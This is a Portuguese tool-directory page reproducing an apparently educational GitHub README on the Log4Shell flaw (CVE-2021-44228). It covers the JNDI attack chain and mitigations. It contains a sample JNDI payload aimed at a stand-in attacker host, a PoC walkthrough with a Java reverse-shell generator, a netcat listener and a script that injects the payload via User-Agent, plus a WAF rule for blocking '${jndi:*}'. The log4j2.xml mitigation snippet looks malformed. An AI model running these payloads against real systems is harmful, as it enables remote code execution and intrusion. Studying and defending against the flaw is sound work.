Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-44228 — Análise educacional do CVE-2021-44228 (Log4Shell) com scripts de PoC, detalhamento do vetor de ataque e orientações de mitigação para entender e testar a vulnerabilidade crítica de RCE no Apache Log4j. | Kitploit
Ferramentas/GitHubGitHub/kaleth4/cve-2021-44228
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

Análise educacional do CVE-2021-44228 (Log4Shell) com scripts de PoC, detalhamento do vetor de ataque e orientações de mitigação para entender e testar a vulnerabilidade crítica de RCE no Apache Log4j.

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🛡️ CVE-2021-44228: Análise do Log4Shell - A Vulnerabilidade que Revolucionou a Segurança Java

Impacto Crítico (CVSS 10.0) | Descoberta em 2021, esta falha no Apache Log4j permite execução remota de código (RCE) e afeta milhões de sistemas globalmente. Ainda hoje, é um lembrete chave para a cibersegurança!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 O que é Log4Shell?

CVE-2021-44228, conhecida como Log4Shell, é uma vulnerabilidade crítica de Execução Remota de Código (RCE) na biblioteca de logging Apache Log4j 2. Esta falha permite que atacantes maliciosos executem código arbitrário em servidores vulneráveis simplesmente enviando uma cadeia de texto especialmente criada que a aplicação registra.

  • Por que é tão perigosa? Log4j é onipresente em aplicações Java, incluindo serviços em nuvem, apps web e software empresarial. Sua exploração não requer autenticação e pode se propagar facilmente através de entradas de usuário como headers HTTP, formulários ou chats.
  • Descoberta por: Chen Zhaojun da Alibaba Cloud Security (novembro 2021). Divulgada publicamente em 9 de dezembro de 2021, desencadeando alertas globais da CISA, NCSC e mais.
  • Impacto global: Afetou centenas de milhões de dispositivos. Empresas como Minecraft, Twitter e Cisco foram impactadas. Observaram-se ataques massivos: >100 por minuto no pico.

Log4Shell não está sozinha; derivou em CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) e CVE-2021-4104 (RCE no Log4j 1.2).


💀 Vetor de Ataque e Funcionamento

O núcleo do problema é o gerenciamento inseguro de JNDI (Java Naming and Directory Interface) no Log4j, que resolve lookups remotos sem sanitização.

Exemplo de Payload Básico

root@kitploit:~
${jndi:ldap://atacante.com:1389/Exploit}

Como funciona:

  1. O atacante injeta o payload em uma mensagem registrada (ex: User-Agent no HTTP).
  2. Log4j detecta ${...} e ativa um lookup JNDI.
  3. O servidor vulnerável se conecta ao servidor LDAP/RMI/DNS do atacante.
  4. É baixada e executada uma classe Java maliciosa (ex: shell reversa).

Protocolos exploráveis: LDAP, RMI, DNS, IIOP, etc. Isso habilita ameaças como:

  • Coinmining: Roubo de recursos para mineração de criptomoedas.
  • Ransomware: Criptografia de dados (ex: Khonsari, Night Sky).
  • DoS/DDoS: Sobrecarga de sistemas (ex: via botnet Mirai).
  • Movimento lateral: Ferramentas como Cobalt Strike para escalonamento.

Cadeia de Infecção (Kill Chain):

  1. Reconhecimento: Escaneamento de portas e headers para detectar Log4j.
  2. Injeção: Envio do payload em entradas não sanitizadas.
  3. Resolução: JNDI contacta o servidor atacante.
  4. Execução: Código malicioso é carregado e executado (ex: download de malware como Kinsing).
  5. Persistência: Exfiltração de credenciais (/etc/passwd, /etc/shadow) ou instalação de backdoors.

📈 Detalhes Técnicos

Estatísticas de Impacto:

  • 90% de ambientes na nuvem expostos inicialmente.

  • Explorada por grupos estatais (China, Coreia do Norte) e cibercriminosos.
  • Patch inicial: Log4j 2.15.0 (dezembro 2021), mas incompleto; versão segura: 2.17.1+.

🚀 Prova de Conceito (PoC) Educativa

⚠️ Aviso: Este conteúdo é exclusivamente para fins educativos e testes autorizados. Não use isso em sistemas sem permissão explícita. Explorar vulnerabilidades sem autorização é ilegal (ex: viola leis como CFAA nos EUA). Sempre realize pentesting ético.

Baseado em repositórios públicos como kozmer/log4j-shell-poc, aqui uma visão geral simplificada de um PoC em ambientes controlados (ex: Docker/VM local).

Passos Gerais para Simular (Ambiente Vulnerável)

  1. Clone o Repo: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. Construa Docker: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. Instale Java Vulnerável (ex: JDK 8u202): Baixe de mirrors confiáveis, extraia e configure o caminho (ex: /usr/bin/jdk1.8.0_202).
  4. Modifique o Script PoC (poc.py): Ajuste os caminhos do Java e IPs. Exemplo snippet corrigido (versão simplificada):
root@kitploit:~
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (código de shell inversa simplificado)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Classe Exploit gerada com sucesso')
    except Exception as e:
        print(Fore.RED + f'[-] Erro: {e}')

# ... (funções para LDAP server e web server similares ao original)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - Use apenas em labs!")
    # Argumentos: --userip localhost --webport 8000 --lport 9001
    # Lança LDAP, web server e gera payload

if __name__ == "__main__":
    main()
  1. Execute: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. Listener (Netcat): nc -lvnp 9001 - Monitore a shell reversa.
  3. Injete Payload: Na app vulnerável (http://localhost:8080), use ${jndi:ldap://127.0.0.1:1389/a} em um campo de login/busca.
  4. Verifique: Conexão no Netcat; logs no terminal mostram resolução JNDI.

PoC Simples em Python (Listener + Exploit): Para demonstrações rápidas, use este duo de scripts (execute o listener primeiro).

listener.py:

root@kitploit:~
import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] Listener em {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] Conexão de {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("Pressione Enter para parar...\n")  # Mantém vivo

exploit.py:

root@kitploit:~
import requests
import argparse

def send_exploit(target, lhost, lport):
    payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
    headers = {'User-Agent': payload}
    try:
        r = requests.get(target, headers=headers, timeout=10)
        print(f"[+] Enviado para {target} | Status: {r.status_code}")
    except Exception as e:
        print(f"[!] Erro: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-l", "--lhost", required=True)
    parser.add_argument("-p", "--lport", type=int, default=1389)
    args = parser.parse_args()
    send_exploit(args.target, args.lhost, args.lport)

Execução: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

Notas: Requer Marshalsec para LDAP simulado. Teste apenas em laboratórios isolados.


🛡️ Mitigação e Patches

Aja agora! Log4Shell é evitável com atualizações e configurações.

1. Atualização Recomendada (Prioridade Alta)

  • Atualize para Log4j 2.17.1 ou superior (desabilita JNDI por padrão).
  • Download: Apache Log4j Releases.
  • Verifique dependências indiretas com ferramentas como mvn dependency:tree ou Snyk.

2. Soluções Rápidas (Temporário)

  • JVM Flag: -Dlog4j2.formatMsgNoLookups=true
  • Ambiente: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • Config Log4j: Em log4j2.xml, adicione <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>

3. Eliminação Manual

root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Remueve clases JNDI de JARs.

4. Medidas Adicionais

  • WAF/IPS: Bloqueie payloads ${jndi:*} (ex: regras no ModSecurity ou Cloudflare).
  • Escaneamento: Use ferramentas como Nuclei ou Nessus para detectar versões vulneráveis.
  • Virtual Patching: Implemente em firewalls para bloquear lookups remotos.
  • Monitoramento: Atualize antivírus/EDR (ex: regras de IPS da Seqrite para Log4Shell).

Para CVEs Derivadas:

  • CVE-2021-45046: Atualize para 2.16.0+ e desabilite os message lookups.
  • CVE-2021-45105: Evite lookups recursivos em configurações não padrão.
  • CVE-2021-4104: Não use JMSAppender com JNDI no Log4j 1.2.

📚 Recursos Adicionais

  • Oficiais:
    • NVD - CVE-2021-44228
    • Apache Log4j Security Bulletin
  • Guias:
    • Microsoft Defender: Gerenciamento de Log4Shell
    • Tenable: FAQs sobre Log4Shell
    • Trend Micro: Impacto e Mitigação
  • PoCs Educativos: GitHub - Log4j Shell PoC (com disclaimer legal).
  • Análise Avançada: Seqrite: Exploração Indiscriminada

Este README.md é para fins educativos e de conscientização em cibersegurança. Não promove atividades ilegais. Se você é profissional de segurança, avalie seu ambiente com ferramentas como OWASP Dependency-Check. Mantenha seus sistemas atualizados para um mundo mais seguro! 🔒

Última atualização: Baseado em dados até 2023. Verifique fontes oficiais para novidades.

Baixar ferramenta
CaracterísticaDetalhe
Pontuação CVSS v3.110.0 (CRÍTICO) 🔥 - Máxima gravidade possível.
Versões AfetadasLog4j 2.0-beta9 a 2.14.1 (inclui derivadas até 2.16.0 para sub-CVEs).
Causa RaizSubstituição de mensagens JNDI sem validação; lookups remotos habilitados.
VetoresRemoto, não autenticado; afeta Java 8+ em apps web/nuvem.
Produtos ImpactadosApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, e mais.
ExploraçãoFácil: PoCs públicos no GitHub; não precisa de privilégios.